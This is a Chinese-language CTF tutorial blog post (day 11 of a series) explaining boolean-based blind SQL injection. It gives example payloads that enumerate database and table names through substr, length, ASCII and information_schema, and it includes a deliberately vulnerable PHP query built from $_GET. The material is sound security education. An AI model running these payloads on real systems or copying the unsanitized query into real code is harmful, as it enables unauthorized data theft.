iT邦幫忙

2021 iThome 鐵人賽

DAY 11
0
Security

【CTF衝衝衝 - Web篇】系列 第 11

【第十一天 - 布林SQL盲注】

Q1. 布林盲注型 SQL 注入是什麼

  • 布林(boolean)盲注型在中國,也稱為布爾盲注
  • 在一些網頁中,並不會顯示資料,只會根據 SQL 語法顯示兩種頁面 (True/False),所以導致你注入的 SQL 語法,取得的資料不能顯示於網頁前端,此時我們就可以使用 SQL 語法逐漸判斷出 dataset 的名稱長度、名稱...
# 判斷 database 名稱的長度,假設名稱為 CTF (長度為3)
<原SQL語法> and length(database())>=1--
<原SQL語法> and length(database())>=2--
<原SQL語法> and length(database())>=3--
# 由於 length(CTF) 沒有大於 4,回傳 False,可得知database 名稱長度為 3
<原SQL語法> and length(database())>=4--
# 判斷 database 名稱,假設名稱為 CTF
# 我們SQL語法取名稱第一個字,判斷是否為A
<原SQL語法> and substr(database(),1,1)='A'--
<原SQL語法> and substr(database(),1,1)='B'--
# 由於 C = 'C' 回傳 True,可得知 database 名稱第一個字為 C
<原SQL語法> and substr(database(),1,1)='C'--
# 若我們已經得知 database 名稱為 CTF
# 此時我們要找出 CTF database 中的每個 table 名稱
# 求 CTF 中第一個 table 的第一個字是否為 a
<原SQL語法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 0,1),1,1)='a'
# 求 CTF 中第二個 table 的第一個字是否為 a
<原SQL語法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 1,1),1,1)='a'
  • 此外一提,若網頁連 True/False 都不會顯示,那我們就要使用「時間盲注」來進行

參考資料:https://blog.csdn.net/SouthWind0/article/details/82917798

Q2. 布林盲注

由於是透過控制 True / False 來使頁面發生變化,從而洩露資料,我們要先確認可以控制這個 True / False 變化。

以下方 PHP 為例,在 User 存在時會顯示 User exist,而不存在時顯示 Not found

<?php 
$mysqli = new mysqli(...);
$query = "SELECT * FROM `User` WHERE `id` = {$_GET['id']}";
$result = $mysqli->query($query);

if($result->num_rows === 1) echo("User exists.");
else echo("Not found.");

假設原始 SQL 如下時,頁面顯示 User exists

# true
SELECT * FROM `User` WHERE `id` = 1            

我們可以構建如下的 SQL 來測試其存在 Boolean-based SQL Injection:

# true
SELECT * FROM `User` WHERE `id` = 1 AND 2 < 3  

⇒ 此時頁面顯示 User exists

# false
SELECT * FROM `User` WHERE `id` = 1 AND 2 > 3  

⇒ 此時頁面顯示 Not found

由於原始 SQL 為真,因此需要搭配 AND 進行注入,反之,若原始 SQL 為 false,需要搭配 OR 進行注入,例如:

# 原始 SQL: false
SELECT * FROM `User` WHERE `id` = 1   

# true
SELECT * FROM `User` WHERE `id` = 1 OR 2 < 3 

# false
SELECT * FROM `User` WHERE `id` = 1 OR 2 > 3 

當可控制 True / False 後,我們便可以利用其洩露資料,以昨天提過的 information_schema 為例:

SELECT * FROM `User` WHERE `id` = 1
AND **SUBSTR((**
		SELECT GROUP_CONCAT(`SCHEMA_NAME`) 
		FROM `information_schema`.`schemata`
	), 1, 1
) = 'a'
  • GROUP_CONCAT(SCHEMA_NAME) : GROUP_CONCAT 可以將所有 row 的資料串接起來,變成一筆資料,就不用一筆一筆撈。此處是把所有資料庫名稱串接成一個長字串。
  • SUBSTR(..., 1, 1) : 用來取子字串的函數,此處從第 1 個字元開始,取 1 個字元。

用上述的方法可以辨別出第一個字元是否為 a ,如果是,則頁面出現 User exists ,反之出現 Not found 。於是我們可以用爆搜所有字元的方式,找出資料庫名稱的第一個字元,接著調整 SUBSTR 的參數,取第 2 個字元,繼續爆搜直到得出所有字元。

為了提升效率,通常會採用二分搜尋的方式,我們再將上述的 SQL 調整為如下形式:

SELECT * FROM `User` WHERE `id` = 1
AND **ASCII(SUBSTR((**
		SELECT GROUP_CONCAT(`SCHEMA_NAME`) 
		FROM `information_schema`.`schemata`
	), 1, 1
)) > 80
  • ASCII : 將字元轉為 ASCII

透過將字元轉為 ASCII ,就能夠以數字對字元進行二分搜尋。


上一篇
【第十天 - UNION型 SQL注入】
下一篇
【第十二天 - 報錯型 SQL注入】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言